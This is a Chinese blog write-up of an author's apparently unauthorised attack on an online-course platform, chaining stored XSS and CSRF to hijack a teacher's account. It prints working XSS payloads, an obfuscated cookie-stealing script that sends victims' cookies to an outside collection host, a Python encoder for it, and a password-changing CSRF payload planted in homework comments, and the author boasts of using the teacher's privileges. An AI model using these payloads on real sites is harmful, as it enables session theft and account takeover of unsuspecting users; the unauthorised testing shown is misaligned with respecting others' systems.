Csrf+Xss组合拳
本文首发于“合天智汇”公众号,作者: 影子
各位大师傅,第一次在合天发文章,请多多关照

今年年初的疫情确实有点突然,打乱了上半年的所有计划(本来是校内大佬带我拿奖的时刻,没了

,学长毕业了,就剩下我这个小垃圾带着下一届去搞ctf了,难啊,难啊)
-
0x01

这个站是我疫情时候在线上网课的平台,本着对信息安全做贡献的目的下去做的这个渗透工作(咳咳,这个平台有个签到,每次签到我都在与大脑作斗争,最后争不过大脑,选择了睡觉,最后旷课太多,不搞要挂科。)
-
0x02
这个站简单的先用手机看了下,这种网课站我感觉xss比较好寻找一些,所以我找到的都是一些存储型xss,
先看一下第一个基本没鸟用的xss
用户个人资料处

更改姓名
Payload为<script>alert()</script>
(这个地方字数有限制,最长为24个字符)
保存,刷新页面

成功显示弹窗 经测试
1.学号
2.身份
3.学校
4.姓名处均存在存储型xss并能够弹窗
确实这个地方感觉确实没什么用,字数有限制,顶多就是在老师打开页面的时候弹出一个弹框,没鸟用啊,回头想想自己旷课的次数,md,拼了
-
0x03

发布新话题
测试发现

将上面全部代码进行复制
在下面编辑框中进行黏贴,直接解析为html
内容处可以执行html代码
测试发布时

发布后访问此话题

成功xss
进行下一步测试
进行获取cookies
在<script src=””>
这个payload无法执行
不知道是服务器问题还是什么
换用其他payload

in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};" output = "" for c in in_str: output += "&#" + str(ord(c)) print("<svg><script>eval("" + output + "")</script>")
payload为
在进行测试

<svg><script>eval("(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};")</script>


看看xss平台


成功获取
也可以使用其他的利用方法


跳转钓鱼网站
在页面内这是html表单进行钓鱼
或者js挂马等等
严重程度
中危
But。。
部分Cookeis设置了http-only,拿不到老师的全部cookie。
-
0x04
继续测试
更改密码处没有验证原先密码

根据前面找到的xss构建payload

``` <script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script> <script> function loginSubmit() { $.ajax({ url: "https://www.xxxxxxxx.com/UserApi/updatePassword", type: "post", data: {"newpassword": "123456789"}, dataType: "json", success: function (data) { if (data.status == "1") { } else { } }, }); } loginSubmit() </script> ```
那么要去受害者要有兴趣去访问这个payload

作业处,受害者(例如老师,获取更大权限)老师要去更改作业

找到在作业留言处存在存储型xss
在此处插入payload
查看效果

现在密码为123456789
登录正常
将payload的密码改为123456789.
我用的手机端(pc端似乎要抓包,懒)


提交成功
教师端进入批阅
老师的管理界面

教师端进入批阅




抓包看到
访问时,直接更新了密码

退出
密码为12345679时错误

密码为123456789.时成功

更改密码处存在csrf
联想到刚刚的存储型xss,

一个csrf+xss的组合拳漏洞

-
0x05
最后到底有没有拿到老师权限呢



最高星星数6个

怕被发现。
真带劲
哈哈

搞完手工,打包提交,以上漏洞至今为止已修复。
声明:作者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关。
实验推荐
DoraBox之CSRF
https://www.hetianlab.com/expc.do?ec=ECID6f07-3348-4d8f-90a1-2b399f28378b
(通过DoraBox靶场系列闯关练习,理解跨站请求伪造漏洞的原理与利用过程。)
合天智汇:合天网络靶场、网安实战虚拟环境
分类:
web安全
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)